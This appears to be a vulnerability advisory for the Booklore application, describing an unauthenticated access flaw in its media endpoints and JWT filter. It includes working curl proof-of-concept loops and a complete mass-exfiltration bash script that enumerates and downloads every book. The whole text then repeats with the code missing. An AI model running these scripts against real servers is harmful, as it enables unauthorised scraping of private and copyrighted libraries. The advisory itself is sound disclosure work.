Summary
An authentication bypass vulnerability in the BookMediaController allows any unauthenticated user to access and download book covers, thumbnails, and complete PDF/CBX page content without authorization. The vulnerability exists because multiple media endpoints lack proper access control annotations, and the CoverJwtFilter continues request processing even when no authentication token is provided. This enables attackers to enumerate and exfiltrate all book content from the system, bypassing the intended download permissions (canDownload) entirely.
Severity: π΄ HIGH (CVSS 7.5 - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Details
Affected Components
File: src/main/java/com/adityachandel/booklore/controller/BookMediaController.java
Lines: 32-63
File: src/main/java/com/adityachandel/booklore/config/security/filter/CoverJwtFilter.java
Lines: 42-59
Vulnerable Endpoints
The following endpoints under /api/v1/media/ are accessible without authentication:
| Endpoint | Method | Vulnerability | Data Exposed | 
| /book/{bookId}/thumbnail | GET | Missing @CheckBookAccess | Book thumbnail images | 
| /book/{bookId}/cover | GET | Missing @CheckBookAccess | Book cover images | 
| /book/{bookId}/pdf/pages/{pageNumber} | GET | Missing @CheckBookAccess+@PreAuthorize | Complete PDF page content | 
| /book/{bookId}/cbx/pages/{pageNumber} | GET | Missing @CheckBookAccess+@PreAuthorize | Complete CBX (comic) page content | 
| /bookdrop/{bookdropId}/cover | GET | Missing @PreAuthorize | Bookdrop cover images | 
Root Cause Analysis
Issue 1: Missing Access Control Annotations
The vulnerable endpoints lack the required Spring Security annotations:
// BookMediaController.java:32-40
@GetMapping("/book/{bookId}/thumbnail")
public ResponseEntity<Resource> getBookThumbnail(@PathVariable long bookId) {
    return ResponseEntity.ok(bookService.getBookThumbnail(bookId));
}
@GetMapping("/book/{bookId}/cover")
public ResponseEntity<Resource> getBookCover(@PathVariable long bookId) {
    return ResponseEntity.ok(bookService.getBookCover(bookId));
}Expected: These endpoints should have @CheckBookAccess(bookIdParam = "bookId") annotation to verify the user has access to the book's library.
Actual: No access control annotation present.
Issue 2: CoverJwtFilter Logic Flaw
// CoverJwtFilter.java:42-59
@Override
protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response,
                                 FilterChain chain) throws ServletException, IOException {
    String token = request.getParameter("token");
    if (token != null) {
        try {
            if (jwtUtils.validateToken(token)) {
                authenticateLocalUser(token, request);
            } else if (appSettingService.getAppSettings().isOidcEnabled()) {
                authenticateOidcUser(token, request);
            } else {
                response.sendError(HttpServletResponse.SC_UNAUTHORIZED, "Missing or invalid token");
                return;
            }
        } catch (Exception ex) {
            response.sendError(HttpServletResponse.SC_UNAUTHORIZED, "Authentication failed: " + ex.getMessage());
            return;
        }
    }
    chain.doFilter(request, response); //  VULNERABLE: Continues even when token is null
}Critical Flaw: When token is null, the filter skips authentication entirely and calls chain.doFilter(), allowing the request to proceed to the controller without any authentication context.
Expected Behavior: Should reject requests without a token.
Actual Behavior: Allows unauthenticated access to all media endpoints.
PoC
Environment Setup
- Target: Booklore API instance
- Base URL: http://localhost:8080(adjust as needed)
- Prerequisites: None (unauthenticated attack)
Step 1: Enumerate Book IDs
# Try sequential book IDs to discover existing books
for id in {1..100}; do
  curl -s -o /dev/null -w "%{http_code} - Book ID: $id\n" \
    "http://localhost:8080/api/v1/media/book/$id/cover"
done
# Expected Output:
# 200 - Book ID: 1   β Book exists
# 200 - Book ID: 2   β Book exists
# 404 - Book ID: 3   β Book not found
# 200 - Book ID: 4   β Book existsStep 2: Download Book Cover (Unauthenticated)
# Download cover for book ID 1 without authentication
curl -v "http://localhost:8080/api/v1/media/book/1/cover" \
  -o book_1_cover.jpg
# Expected Response:
# HTTP/1.1 200 OK
# Content-Type: image/jpeg
# Content-Disposition: inline; filename=cover.jpg
#
# [JPEG binary data...]
Result: Successfully downloaded book cover without any authentication token.
Step 3: Exfiltrate Complete PDF Content
# Download all pages of a PDF book (e.g., book ID 5)
for page in {1..100}; do
  curl -s "http://localhost:8080/api/v1/media/book/5/pdf/pages/$page" \
    -o "book_5_page_$page.jpg"
  # Check if page exists
  if [ ! -s "book_5_page_$page.jpg" ]; then
    echo "Total pages: $((page - 1))"
    rm "book_5_page_$page.jpg"
    break
  fi
done
# Convert pages to PDF
convert book_5_page_*.jpg exfiltrated_book_5.pdfResult: Successfully exfiltrated complete book content, bypassing the canDownload permission requirement.
 
Step 4: Verify Bypass of Download Permissions
# Compare with the protected download endpoint
curl -v "http://localhost:8080/api/v1/books/1/download"
# Expected Response:
# HTTP/1.1 401 Unauthorized
# {
#   "status": 401,
#   "message": "Full authentication is required to access this resource"
# }Observation: The /books/{id}/download endpoint correctly requires authentication with @PreAuthorize("@securityUtil.canDownload() or @securityUtil.isAdmin()"), but the media endpoints bypass this entirely.
Step 5: Automated Mass Exfiltration Script
#!/bin/bash
# mass_exfiltrate.sh - Automated book exfiltration
API_BASE="http://localhost:8080"
OUTPUT_DIR="./exfiltrated_books"
mkdir -p "$OUTPUT_DIR"
# Enumerate books
echo "[*] Enumerating books..."
for id in {1..1000}; do
  response=$(curl -s -o /dev/null -w "%{http_code}" \
    "$API_BASE/api/v1/media/book/$id/cover")
  if [ "$response" = "200" ]; then
    echo "[+] Found book ID: $id"
    # Download cover
    curl -s "$API_BASE/api/v1/media/book/$id/cover" \
      -o "$OUTPUT_DIR/book_${id}_cover.jpg"
    # Try to download PDF pages
    for page in {1..500}; do
      curl -s "$API_BASE/api/v1/media/book/$id/pdf/pages/$page" \
        -o "$OUTPUT_DIR/book_${id}_page_${page}.jpg" 2>/dev/null
      if [ ! -s "$OUTPUT_DIR/book_${id}_page_${page}.jpg" ]; then
        rm "$OUTPUT_DIR/book_${id}_page_${page}.jpg"
        break
      fi
    done
    # Try CBX pages if PDF failed
    if [ ! -f "$OUTPUT_DIR/book_${id}_page_1.jpg" ]; then
      for page in {1..500}; do
        curl -s "$API_BASE/api/v1/media/book/$id/cbx/pages/$page" \
          -o "$OUTPUT_DIR/book_${id}_page_${page}.jpg" 2>/dev/null
        if [ ! -s "$OUTPUT_DIR/book_${id}_page_${page}.jpg" ]; then
          rm "$OUTPUT_DIR/book_${id}_page_${page}.jpg"
          break
        fi
      done
    fi
  fi
done
echo "[*] Exfiltration complete. Files saved to $OUTPUT_DIR" 
Expected Results
All tests should succeed without authentication, demonstrating:
- Book cover enumeration
- Cover image download
- Complete PDF page exfiltration
- Complete CBX (comic) page exfiltration
- Bypass of canDownloadpermission
- No authentication required at any step
Impact
Security Impact
1. Confidentiality Breach (HIGH)
- Complete book content exfiltration: Attackers can download entire PDF/CBX books page-by-page
- Metadata leakage: Cover images and thumbnails reveal book collection details
- Library enumeration: Attackers can discover all books in the system via ID enumeration
- Copyright violation: Copyrighted content can be stolen without authorization
2. Authorization Bypass (HIGH)
- Permission system circumvented: The canDownloadpermission check is completely bypassed
- Library access control ineffective: @CheckBookAccessis not enforced on media endpoints
- Admin-only restrictions bypassed: Content restricted to admins is accessible to everyone
3. Business Impact (MEDIUM)
- Compliance violations: May violate data protection regulations (GDPR, CCPA)
- Copyright liability: System owners may face legal action for unauthorized content distribution
- User trust erosion: Users expect their books to be protected by the permission system
- Service abuse: Attackers can scrape entire book collections for redistribution
 
Summary
An authentication bypass vulnerability in the BookMediaController allows any unauthenticated user to access and download book covers, thumbnails, and complete PDF/CBX page content without authorization. The vulnerability exists because multiple media endpoints lack proper access control annotations, and the CoverJwtFilter continues request processing even when no authentication token is provided. This enables attackers to enumerate and exfiltrate all book content from the system, bypassing the intended download permissions (
canDownload) entirely.Severity: π΄ HIGH (CVSS 7.5 - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Details
Affected Components
File:
src/main/java/com/adityachandel/booklore/controller/BookMediaController.javaLines: 32-63
File:
src/main/java/com/adityachandel/booklore/config/security/filter/CoverJwtFilter.javaLines: 42-59
Vulnerable Endpoints
The following endpoints under
/api/v1/media/are accessible without authentication:/book/{bookId}/thumbnail@CheckBookAccess/book/{bookId}/cover@CheckBookAccess/book/{bookId}/pdf/pages/{pageNumber}@CheckBookAccess+@PreAuthorize/book/{bookId}/cbx/pages/{pageNumber}@CheckBookAccess+@PreAuthorize/bookdrop/{bookdropId}/cover@PreAuthorizeRoot Cause Analysis
Issue 1: Missing Access Control Annotations
The vulnerable endpoints lack the required Spring Security annotations:
Expected: These endpoints should have
@CheckBookAccess(bookIdParam = "bookId")annotation to verify the user has access to the book's library.Actual: No access control annotation present.
Issue 2: CoverJwtFilter Logic Flaw
Critical Flaw: When
tokenisnull, the filter skips authentication entirely and callschain.doFilter(), allowing the request to proceed to the controller without any authentication context.Expected Behavior: Should reject requests without a token.
Actual Behavior: Allows unauthenticated access to all media endpoints.
PoC
Environment Setup
http://localhost:8080(adjust as needed)Step 1: Enumerate Book IDs
Step 2: Download Book Cover (Unauthenticated)
Result: Successfully downloaded book cover without any authentication token.
Step 3: Exfiltrate Complete PDF Content
Result: Successfully exfiltrated complete book content, bypassing the
canDownloadpermission requirement.Step 4: Verify Bypass of Download Permissions
Observation: The
/books/{id}/downloadendpoint correctly requires authentication with@PreAuthorize("@securityUtil.canDownload() or @securityUtil.isAdmin()"), but the media endpoints bypass this entirely.Step 5: Automated Mass Exfiltration Script
Expected Results
All tests should succeed without authentication, demonstrating:
canDownloadpermissionImpact
Security Impact
1. Confidentiality Breach (HIGH)
2. Authorization Bypass (HIGH)
canDownloadpermission check is completely bypassed@CheckBookAccessis not enforced on media endpoints3. Business Impact (MEDIUM)